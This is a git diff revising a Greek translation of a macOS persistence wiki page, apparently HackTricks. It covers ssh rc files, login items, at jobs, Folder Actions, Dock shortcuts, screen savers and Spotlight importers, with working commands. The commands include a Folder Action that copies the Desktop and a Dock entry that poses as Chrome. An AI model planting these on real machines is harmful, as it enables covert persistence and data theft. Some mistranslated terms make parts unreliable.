Επιτρέπει τη δημιουργία ροών εργασίας που μπορούν να εκτελέσουν κώδικα όταν πληρούνται συγκεκριμένες συνθήκες. Ενδεχομένως είναι δυνατόν για έναν επιτιθέμενο να δημιουργήσει ένα αρχείο ροής εργασίας και να κάνει το Alfred να το φορτώσει (χρειάζεται να πληρώσετε την premium έκδοση για να χρησιμοποιήσετε ροές εργασίας).
|
||||
|
||||
### SSHRC
|
||||
|
||||
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
|
||||
|
||||
* Χρήσιμο για παράκαμψη του sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Αλλά το ssh πρέπει να είναι ενεργοποιημένο και να χρησιμοποιείται
|
||||
* TCC παράκαμψη: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Το SSH χρησιμοποιείται για πρόσβαση σε ολόκληρο το δίσκο
|
||||
|
||||
#### Τοποθεσία
|
||||
|
||||
* **`~/.ssh/rc`**
|
||||
* **Ενεργοποίηση**: Σύνδεση μέσω ssh
|
||||
* **`/etc/ssh/sshrc`**
|
||||
* Απαιτείται δικαιώματα ριζοσυστήματος
|
||||
* **Ενεργοποίηση**: Σύνδεση μέσω ssh
|
||||
|
||||
{% hint style="danger" %}
|
||||
Για να ενεργοποιήσετε το ssh απαιτείται πρόσβαση σε ολόκληρο το δίσκο:
|
||||
```bash
|
||||
sudo systemsetup -setremotelogin on
|
||||
```
|
||||
|
@ -609,7 +644,7 @@ sudo systemsetup -setremotelogin on
|
|||
|
||||
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
|
||||
|
||||
* Χρήσιμο για παράκαμψη της αμμόλοφης: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Χρήσιμο για παράκαμψη αμμοθοχώρου: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Αλλά χρειάζεται να εκτελέσετε το `osascript` με ορίσματα
|
||||
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
|
@ -620,12 +655,12 @@ sudo systemsetup -setremotelogin on
|
|||
* Το payload εκμετάλλευσης αποθηκεύεται καλώντας το **`osascript`**
|
||||
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
|
||||
* **Ενεργοποίηση:** Σύνδεση
|
||||
* Απαιτείται ρίζα
|
||||
* Απαιτείται δικαιώματα ρίζας
|
||||
|
||||
#### Περιγραφή
|
||||
|
||||
Στις Προτιμήσεις Συστήματος -> Χρήστες & Ομάδες -> **Στοιχεία Σύνδεσης** μπορείτε να βρείτε **στοιχεία που θα εκτελούνται όταν ο χρήστης συνδέεται**.\
|
||||
Είναι δυνατόν να τα καταγράψετε, προσθέσετε και αφαιρέσετε από τη γραμμή εντολών:
|
||||
Είναι δυνατόν να τα εμφανίσετε, προσθέσετε και αφαιρέσετε από τη γραμμή εντολών:
|
||||
```bash
|
||||
#List all items:
|
||||
osascript -e 'tell application "System Events" to get the name of every login item'
|
||||
|
@ -644,9 +679,9 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
|
||||
(Ελέγξτε την προηγούμενη ενότητα σχετικά με τα Στοιχεία Σύνδεσης, αυτή είναι μια επέκταση)
|
||||
|
||||
Εάν αποθηκεύσετε ένα αρχείο **ZIP** ως ένα **Στοιχείο Σύνδεσης**, το **`Archive Utility`** θα το ανοίξει και αν το zip ήταν για παράδειγμα αποθηκευμένο στο **`~/Library`** και περιείχε τον Φάκελο **`LaunchAgents/file.plist`** με ένα backdoor, αυτός ο φάκελος θα δημιουργηθεί (δεν υπάρχει από προεπιλογή) και το plist θα προστεθεί έτσι την επόμενη φορά που ο χρήστης συνδέεται ξανά, το **backdoor που υποδεικνύεται στο plist θα εκτελεστεί**.
|
||||
Εάν αποθηκεύσετε ένα αρχείο **ZIP** ως ένα **Στοιχείο Σύνδεσης**, το **`Archive Utility`** θα το ανοίξει και αν το zip ήταν για παράδειγμα αποθηκευμένο στο **`~/Library`** και περιείχε τον Φάκελο **`LaunchAgents/file.plist`** με ένα backdoor, αυτός ο φάκελος θα δημιουργηθεί (δεν υπάρχει από προεπιλογή) και το plist θα προστεθεί έτσι την επόμενη φορά που ο χρήστης θα συνδεθεί ξανά, το **backdoor που υποδεικνύεται στο plist θα εκτελεστεί**.
|
||||
|
||||
Μια άλλη επιλογή θα ήταν να δημιουργήσετε τα αρχεία **`.bash_profile`** και **`.zshenv`** μέσα στον φάκελο χρήστη HOME, έτσι αν ο φάκελος LaunchAgents υπάρχει ήδη, αυτή η τεχνική θα λειτουργούσε ακόμα.
|
||||
Μια άλλη επιλογή θα ήταν να δημιουργήσετε τα αρχεία **`.bash_profile`** και **`.zshenv`** μέσα στον φάκελο χρήστη HOME έτσι αν ο φάκελος LaunchAgents υπάρχει ήδη αυτή η τεχνική θα λειτουργούσε ακόμα.
|
||||
|
||||
### At
|
||||
|
||||
|
@ -662,9 +697,9 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
|
||||
#### **Περιγραφή**
|
||||
|
||||
Τα tasks του `at` σχεδιάστηκαν για το **προγραμματισμό μιας φοράς** για να εκτελεστούν σε συγκεκριμένες χρονικές στιγμές. Αντίθετα με τα cron jobs, τα tasks του `at` αφαιρούνται αυτόματα μετά την εκτέλεση. Είναι κρίσιμο να σημειωθεί ότι αυτά τα tasks είναι μόνιμα μεταξύ επανεκκινήσεων του συστήματος, κάτι που τα καθιστά πιθανές ανησυχίες ασφαλείας υπό συγκεκριμένες συνθήκες.
|
||||
Τα tasks του `at` σχεδιάστηκαν για το **προγραμματισμό μονοφορημένων εργασιών** που θα εκτελούνται σε συγκεκριμένες χρονικές στιγμές. Αντίθετα με τις εργασίες cron, οι εργασίες του `at` αφαιρούνται αυτόματα μετά την εκτέλεσή τους. Είναι κρίσιμο να σημειωθεί ότι αυτές οι εργασίες είναι μόνιμες μεταξύ επανεκκινήσεων του συστήματος, κάτι που τις καθιστά πιθανές πηγές ανησυχίας ασφάλειας υπό συγκεκριμένες συνθήκες.
|
||||
|
||||
Από προεπιλογή είναι **απενεργοποιημένα** αλλά ο **χρήστης root** μπορεί να τα **ενεργοποιήσει** με:
|
||||
Από προεπιλογή είναι **απενεργοποιημένες** αλλά ο χρήστης **root** μπορεί να τις **ενεργοποιήσει** με:
|
||||
```bash
|
||||
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
|
||||
```
|
||||
|
@ -678,7 +713,7 @@ sh-3.2# atq
|
|||
26 Tue Apr 27 00:46:00 2021
|
||||
22 Wed Apr 28 00:29:00 2021
|
||||
```
|
||||
Παραπάνω μπορούμε να δούμε δύο προγραμματισμένες εργασίες. Μπορούμε να εκτυπώσουμε τις λεπτομέρειες της εργασίας χρησιμοποιώντας την εντολή `at -c JOBNUMBER`
|
||||
Παραπάνω μπορούμε να δούμε δύο προγραμματισμένες εργασίες. Μπορούμε να εκτυπώσουμε τις λεπτομέρειες της εργασίας χρησιμοποιώντας το `at -c JOBNUMBER`
|
||||
```shell-session
|
||||
sh-3.2# at -c 26
|
||||
#!/bin/sh
|
||||
|
@ -710,7 +745,7 @@ unset OLDPWD
|
|||
echo 11 > /tmp/at.txt
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Αν οι εργασίες του AT δεν είναι ενεργοποιημένες, οι δημιουργημένες εργασίες δεν θα εκτελεστούν.
|
||||
Αν οι εργασίες AT δεν είναι ενεργοποιημένες, οι δημιουργημένες εργασίες δεν θα εκτελεστούν.
|
||||
{% endhint %}
|
||||
|
||||
Τα **αρχεία εργασίας** μπορούν να βρεθούν στο `/private/var/at/jobs/`
|
||||
|
@ -722,21 +757,21 @@ total 32
|
|||
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
|
||||
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
|
||||
```
|
||||
Το όνομα αρχείου περιέχει την ουρά, τον αριθμό της εργασίας και την ώρα που είναι προγραμματισμένο να τρέξει. Για παράδειγμα, ας δούμε το `a0001a019bdcd2`.
|
||||
Το όνομα αρχείου περιέχει την ουρά, τον αριθμό εργασίας και την ώρα που προγραμματίζεται να τρέξει. Για παράδειγμα ας δούμε το `a0001a019bdcd2`.
|
||||
|
||||
* `a` - αυτή είναι η ουρά
|
||||
* `0001a` - αριθμός εργασίας σε δεκαεξαδική μορφή, `0x1a = 26`
|
||||
* `019bdcd2` - ώρα σε δεκαεξαδική μορφή. Αντιπροσωπεύει τα λεπτά που έχουν περάσει από την εποχή. Το `0x019bdcd2` είναι `26991826` σε δεκαδική μορφή. Αν το πολλαπλασιάσουμε με 60 παίρνουμε `1619509560`, το οποίο είναι `GMT: 2021. Απρίλιος 27., Τρίτη 7:46:00`.
|
||||
* `019bdcd2` - ώρα σε δεκαεξαδική μορφή. Αντιπροσωπεύει τα λεπτά που έχουν περάσει από την εποχή. Το `0x019bdcd2` είναι `26991826` σε δεκαδική μορφή. Αν το πολλαπλασιάσουμε με 60 παίρνουμε `1619509560`, που είναι `GMT: 2021. Απρίλιος 27., Τρίτη 7:46:00`.
|
||||
|
||||
Αν εκτυπώσουμε το αρχείο εργασίας, θα δούμε ότι περιέχει τις ίδιες πληροφορίες που λάβαμε χρησιμοποιώντας την εντολή `at -c`.
|
||||
Αν εκτυπώσουμε το αρχείο εργασίας, θα δούμε ότι περιέχει τις ίδιες πληροφορίες που πήραμε χρησιμοποιώντας το `at -c`.
|
||||
|
||||
### Δράσεις Φακέλου
|
||||
### Ενέργειες Φακέλου
|
||||
|
||||
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
|
||||
Ανάλυση: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
||||
|
||||
* Χρήσιμο για παράκαμψη του sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Αλλά χρειάζεστε τη δυνατότητα να καλέσετε το `osascript` με ορίσματα για να επικοινωνήσετε με το **`System Events`** και να μπορέσετε να ρυθμίσετε Δράσεις Φακέλου
|
||||
* Αλλά χρειάζεστε τη δυνατότητα να καλέσετε το `osascript` με ορίσματα για να επικοινωνήσετε με το **`System Events`** και να μπορέσετε να ρυθμίσετε τις Ενέργειες Φακέλου
|
||||
* Παράκαμψη TCC: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Διαθέτει κάποιες βασικές άδειες TCC όπως Desktop, Documents και Downloads
|
||||
|
||||
|
@ -750,16 +785,16 @@ total 32
|
|||
|
||||
#### Περιγραφή & Εκμετάλλευση
|
||||
|
||||
Οι Δράσεις Φακέλου είναι σενάρια που ενεργοποιούνται αυτόματα από αλλαγές σε έναν φάκελο, όπως προσθήκη, αφαίρεση στοιχείων, ή άλλες ενέργειες όπως το άνοιγμα ή η αλλαγή μεγέθους του παραθύρου του φακέλου. Αυτές οι ενέργειες μπορούν να χρησιμοποιηθούν για διάφορες εργασίες και μπορούν να ενεργοποιηθούν με διαφορετικούς τρόπους όπως χρησιμοποιώντας το UI του Finder ή εντολές τερματικού.
|
||||
Οι Ενέργειες Φακέλου είναι σενάρια που ενεργοποιούνται αυτόματα από αλλαγές σε έναν φάκελο, όπως προσθήκη, αφαίρεση στοιχείων, ή άλλες ενέργειες όπως το άνοιγμα ή η αλλαγή μεγέθους του παραθύρου του φακέλου. Αυτές οι ενέργειες μπορούν να χρησιμοποιηθούν για διάφορες εργασίες και μπορούν να ενεργοποιηθούν με διαφορετικούς τρόπους όπως χρησιμοποιώντας το UI του Finder ή εντολές τερματικού.
|
||||
|
||||
Για τη ρύθμιση Δράσεων Φακέλου, έχετε επιλογές όπως:
|
||||
Για τη ρύθμιση Ενεργειών Φακέλου, έχετε επιλογές όπως:
|
||||
|
||||
1. Δημιουργία ενός ροής εργασίας Δράσης Φακέλου με το [Automator](https://support.apple.com/guide/automator/welcome/mac) και εγκατάστασή του ως υπηρεσία.
|
||||
2. Επισύναψη ενός σεναρίου χειροκίνητα μέσω της Ρύθμισης Δράσεων Φακέλου στο μενού περιβάλλοντος ενός φακέλου.
|
||||
3. Χρήση του OSAScript για να στείλετε μηνύματα Apple Event στο `System Events.app` για τη ρύθμιση προγραμματιστικά μιας Δράσης Φακέλου.
|
||||
1. Δημιουργία ενός ροής εργασίας Φακέλου με το [Automator](https://support.apple.com/guide/automator/welcome/mac) και εγκατάστασή του ως υπηρεσία.
|
||||
2. Επισύναψη ενός σεναρίου χειροκίνητα μέσω της Ρύθμισης Ενεργειών Φακέλου στο μενού περιβάλλοντος ενός φακέλου.
|
||||
3. Χρήση του OSAScript για να στείλετε μηνύματα Apple Event στο `System Events.app` για την ρύθμιση προγραμματιστικά μιας Ενέργειας Φακέλου.
|
||||
* Αυτή η μέθοδος είναι ιδιαίτερα χρήσιμη για την ενσωμάτωση της ενέργειας στο σύστημα, προσφέροντας ένα επίπεδο διατήρησης.
|
||||
|
||||
Το παρακάτω σενάριο είναι ένα παράδειγμα του τι μπορεί να εκτελεστεί από μια Δράση Φακέλου:
|
||||
Το παρακάτω σενάριο είναι ένα παράδειγμα του τι μπορεί να εκτελεστεί από μια Ενέργεια Φακέλου:
|
||||
```applescript
|
||||
// source.js
|
||||
var app = Application.currentApplication();
|
||||
|
@ -773,7 +808,7 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|||
```bash
|
||||
osacompile -l JavaScript -o folder.scpt source.js
|
||||
```
|
||||
Αφού έχει συνταχθεί το script, εγκαταστήστε τις Δράσεις Φακέλου εκτελώντας το παρακάτω script. Αυτό το script θα ενεργοποιήσει τις Δράσεις Φακέλου γενικά και θα συνδέσει ειδικά το προηγουμένως συνταγμένο script στον φάκελο της επιφάνειας εργασίας.
|
||||
Αφού το σενάριο μεταγλωττιστεί, εγκαταστήστε τις Δράσεις Φακέλου εκτελώντας το παρακάτω σενάριο. Αυτό το σενάριο θα ενεργοποιήσει τις Δράσεις Φακέλου γενικά και θα συνδέσει ειδικά το προηγουμένως μεταγλωττισμένο σενάριο στον φάκελο της επιφάνειας εργασίας.
|
||||
```javascript
|
||||
// Enabling and attaching Folder Action
|
||||
var se = Application("System Events");
|
||||
|
@ -787,7 +822,7 @@ fa.scripts.push(myScript);
|
|||
```bash
|
||||
osascript -l JavaScript /Users/username/attach.scpt
|
||||
```
|
||||
* Αυτός είναι ο τρόπος για να υλοποιήσετε αυτήν την επιμονή μέσω GUI:
|
||||
* Αυτή είναι η διαδικασία για την υλοποίηση αυτής της επιμονής μέσω GUI:
|
||||
|
||||
Αυτός είναι ο κώδικας που θα εκτελεστεί:
|
||||
|
||||
|
@ -811,7 +846,7 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|||
```
|
||||
Στη συνέχεια, ανοίξτε την εφαρμογή `Folder Actions Setup`, επιλέξτε τον **φάκελο που θέλετε να παρακολουθείτε** και επιλέξτε στην περίπτωσή σας το **`folder.scpt`** (στη δική μου περίπτωση το ονόμασα output2.scp):
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (39).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
|
||||
Τώρα, αν ανοίξετε αυτόν τον φάκελο με το **Finder**, το σενάριό σας θα εκτελεστεί.
|
||||
|
||||
|
@ -823,7 +858,7 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|||
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
||||
2. **Αφαιρέστε** τις Folder Actions που μόλις ορίσατε:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (40).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Τώρα που έχουμε ένα κενό περιβάλλον
|
||||
|
||||
|
@ -831,16 +866,16 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|||
4. Ανοίξτε την εφαρμογή Folder Actions Setup για να χρησιμοποιήσετε αυτήν τη ρύθμιση: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
|
||||
|
||||
{% hint style="danger" %}
|
||||
Και αυτό δεν λειτούργησε για μένα, αλλά αυτές είναι οι οδηγίες από το άρθρο:(
|
||||
Και αυτό δεν λειτούργησε για μένα, αλλά αυτές είναι οι οδηγίες από το writeup:(
|
||||
{% endhint %}
|
||||
|
||||
### Συντομεύσεις Dock
|
||||
### Dock συντομεύσεις
|
||||
|
||||
Άρθρο: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
|
||||
|
||||
* Χρήσιμο για παράκαμψη αμμοθονίου: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Χρήσιμο για παράκαμψη του sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Αλλά πρέπει να έχετε εγκαταστήσει μια κακόβουλη εφαρμογή μέσα στο σύστημα
|
||||
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* TCC παράκαμψη: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Τοποθεσία
|
||||
|
||||
|
@ -852,8 +887,6 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|||
Όλες οι εφαρμογές που εμφανίζονται στο Dock καθορίζονται μέσα στο plist: **`~/Library/Preferences/com.apple.dock.plist`**
|
||||
|
||||
Είναι δυνατόν να **προστεθεί μια εφαρμογή** μόνο με:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Add /System/Applications/Books.app
|
||||
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
|
||||
|
@ -863,7 +896,7 @@ killall Dock
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Χρησιμοποιώντας κάποια **κοινωνική μηχανική** μπορείτε να **προσωποποιήσετε για παράδειγμα το Google Chrome** μέσα στο dock και να εκτελέσετε πραγματικά το δικό σας script:
|
||||
Χρησιμοποιώντας κάποια **κοινωνική μηχανική** μπορείτε να **προσωποποιήσετε για παράδειγμα το Google Chrome** μέσα στη γραμμή εργασιών και να εκτελέσετε πραγματικά το δικό σας σενάριο:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -920,18 +953,18 @@ killall Dock
|
|||
|
||||
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
|
||||
|
||||
* Χρήσιμο για παράκαμψη της αμμόλοφου: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Χρειάζεται μια πολύ συγκεκριμένη ενέργεια
|
||||
* Θα καταλήξετε σε μια άλλη αμμόλοφο
|
||||
* Χρήσιμο για παράκαμψη της αμμόλοφης: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Χρειάζεται να συμβεί μια πολύ συγκεκριμένη ενέργεια
|
||||
* Θα καταλήξετε σε μια άλλη αμμόλοφη
|
||||
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Τοποθεσία
|
||||
|
||||
* `/Library/ColorPickers`
|
||||
* Απαιτείται δικαιώματα ρίζας
|
||||
* Ενεργοποίηση: Χρήση του επιλογέα χρωμάτων
|
||||
* Ενεργοποίηση: Χρησιμοποιήστε τον επιλογέα χρωμάτων
|
||||
* `~/Library/ColorPickers`
|
||||
* Ενεργοποίηση: Χρήση του επιλογέα χρωμάτων
|
||||
* Ενεργοποίηση: Χρησιμοποιήστε τον επιλογέα χρωμάτων
|
||||
|
||||
#### Περιγραφή & Εκμετάλλευση
|
||||
|
||||
|
@ -939,7 +972,7 @@ killall Dock
|
|||
|
||||
Έπειτα, όταν ενεργοποιηθεί ο επιλογέας χρωμάτων, θα πρέπει να ενεργοποιηθεί και το δικό σας.
|
||||
|
||||
Σημειώστε ότι το δυαδικό που φορτώνει τη βιβλιοθήκη σας έχει μια **πολύ περιοριστική αμμόλοφο**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
Σημειώστε ότι το δυαδικό που φορτώνει τη βιβλιοθήκη σας έχει ένα **πολύ περιοριστικό αμμόλοφο**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
```bash
|
||||
[Key] com.apple.security.temporary-exception.sbpl
|
||||
[Value]
|
||||
|
@ -964,7 +997,7 @@ killall Dock
|
|||
|
||||
#### Περιγραφή & Εκμετάλλευση
|
||||
|
||||
Ένα παράδειγμα εφαρμογής με μια Επέκταση Finder Sync μπορεί **να βρεθεί εδώ**.
|
||||
Ένα παράδειγμα εφαρμογής με μια Επέκταση Finder Sync μπορεί **να βρεθεί εδώ**](https://github.com/D00MFist/InSync).
|
||||
|
||||
Οι εφαρμογές μπορούν να έχουν `Επεκτάσεις Finder Sync`. Αυτή η επέκταση θα μπει μέσα σε μια εφαρμογή που θα εκτελεστεί. Επιπλέον, για την επέκταση να μπορεί να εκτελέσει τον κώδικά της **πρέπει να είναι υπογεγραμμένη** με κάποιο έγκυρο πιστοποιητικό ανάπτυξης της Apple, πρέπει να είναι **σε sandbox** (αν και μπορούν να προστεθούν χαλαρές εξαιρέσεις) και πρέπει να είναι εγγεγραμμένη με κάτι σαν:
|
||||
```bash
|
||||
|
@ -976,28 +1009,28 @@ pluginkit -e use -i com.example.InSync.InSync
|
|||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
|
||||
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
|
||||
|
||||
* Χρήσιμο για παράκαμψη του sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Αλλά θα καταλήξετε σε ένα κοινό sandbox εφαρμογής
|
||||
* TCC παράκαμψη: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* Χρήσιμο για παράκαμψη της αμμόλοφης: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Αλλά θα καταλήξετε σε μια κοινή εφαρμογή αμμόλοφης
|
||||
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Τοποθεσία
|
||||
|
||||
* `/System/Library/Screen Savers`
|
||||
* Απαιτείται δικαιώματα ρίζας
|
||||
* Απαιτεί δικαιώματα ρίζας
|
||||
* **Ενεργοποίηση**: Επιλογή του screen saver
|
||||
* `/Library/Screen Savers`
|
||||
* Απαιτείται δικαιώματα ρίζας
|
||||
* Απαιτεί δικαιώματα ρίζας
|
||||
* **Ενεργοποίηση**: Επιλογή του screen saver
|
||||
* `~/Library/Screen Savers`
|
||||
* **Ενεργοποίηση**: Επιλογή του screen saver
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (38).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
#### Περιγραφή & Εκμετάλλευση
|
||||
|
||||
Δημιουργήστε ένα νέο έργο στο Xcode και επιλέξτε το πρότυπο για τη δημιουργία ενός νέου **Screen Saver**. Στη συνέχεια, προσθέστε τον κώδικά σας, για παράδειγμα τον παρακάτω κώδικα για τη δημιουργία καταγραφών.
|
||||
|
||||
**Κάντε Build**, και αντιγράψτε το πακέτο `.saver` στο **`~/Library/Screen Savers`**. Στη συνέχεια, ανοίξτε το GUI του Screen Saver και αν απλά κάνετε κλικ πάνω του, θα πρέπει να δημιουργηθούν πολλές καταγραφές:
|
||||
**Κάντε Build**, και αντιγράψτε το δέμα `.saver` στο **`~/Library/Screen Savers`**. Στη συνέχεια, ανοίξτε το GUI του Screen Saver και αν απλά κάνετε κλικ πάνω του, θα πρέπει να δημιουργηθούν πολλές καταγραφές:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1082,37 +1115,37 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
|||
```
|
||||
### Πρόσθετα Spotlight
|
||||
|
||||
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
|
||||
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
|
||||
|
||||
* Χρήσιμα για παράκαμψη του sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Χρήσιμα για να παρακάμψετε το sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Αλλά θα βρεθείτε σε ένα sandbox εφαρμογής
|
||||
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* Παράβλεψη TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* Το sandbox φαίνεται πολύ περιορισμένο
|
||||
|
||||
#### Τοποθεσία
|
||||
|
||||
* `~/Library/Spotlight/`
|
||||
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του spotlight.
|
||||
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του Spotlight.
|
||||
* `/Library/Spotlight/`
|
||||
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του spotlight.
|
||||
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του Spotlight.
|
||||
* Απαιτείται δικαιώματα ριζοσυστήματος
|
||||
* `/System/Library/Spotlight/`
|
||||
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του spotlight.
|
||||
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του Spotlight.
|
||||
* Απαιτείται δικαιώματα ριζοσυστήματος
|
||||
* `Some.app/Contents/Library/Spotlight/`
|
||||
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του spotlight.
|
||||
* **Ενεργοποίηση**: Δημιουργείται ένα νέο αρχείο με μια επέκταση που διαχειρίζεται το πρόσθετο του Spotlight.
|
||||
* Απαιτείται νέα εφαρμογή
|
||||
|
||||
#### Περιγραφή & Εκμετάλλευση
|
||||
|
||||
Το Spotlight είναι η ενσωματωμένη λειτουργία αναζήτησης του macOS, σχεδιασμένη για να παρέχει στους χρήστες γρήγορη και ολοκληρωμένη πρόσβαση στα δεδομένα στους υπολογιστές τους.\
|
||||
Για να διευκολύνει αυτήν τη γρήγορη δυνατότητα αναζήτησης, το Spotlight διατηρεί μια ιδιόκτητη βάση δεδομένων και δημιουργεί έναν δείκτη με το να αναλύει τα περισσότερα αρχεία, επιτρέποντας έτσι γρήγορες αναζητήσεις τόσο με βάση τα ονόματα αρχείων όσο και το περιεχόμενό τους.
|
||||
Το Spotlight είναι η ενσωματωμένη λειτουργία αναζήτησης του macOS, σχεδιασμένη για να παρέχει στους χρήστες **γρήγορη και ολοκληρωμένη πρόσβαση στα δεδομένα στους υπολογιστές τους**.\
|
||||
Για να διευκολύνει αυτήν τη γρήγορη δυνατότητα αναζήτησης, το Spotlight διατηρεί μια **ιδιόκτητη βάση δεδομένων** και δημιουργεί έναν δείκτη με το **ανάλυση των περισσότερων αρχείων**, επιτρέποντας γρήγορες αναζητήσεις τόσο με βάση τα ονόματα αρχείων όσο και το περιεχόμενό τους.
|
||||
|
||||
Η βασική μηχανική του Spotlight περιλαμβάνει ένα κεντρικό διεργασία με το όνομα 'mds', που σημαίνει 'metadata server'. Αυτή η διαδικασία οργανώνει ολόκληρη την υπηρεσία Spotlight. Συμπληρώνοντας αυτό, υπάρχουν πολλοί δαίμονες 'mdworker' που εκτελούν διάφορες εργασίες συντήρησης, όπως ευρετήριαση διαφορετικών τύπων αρχείων (`ps -ef | grep mdworker`). Αυτές οι εργασίες γίνονται δυνατές μέσω των πρόσθετων εισαγωγέων Spotlight, ή ".mdimporter bundles", που επιτρέπουν στο Spotlight να κατανοήσει και να ευρετηριάσει περιεχόμενο από μια ποικιλία μορφών αρχείων.
|
||||
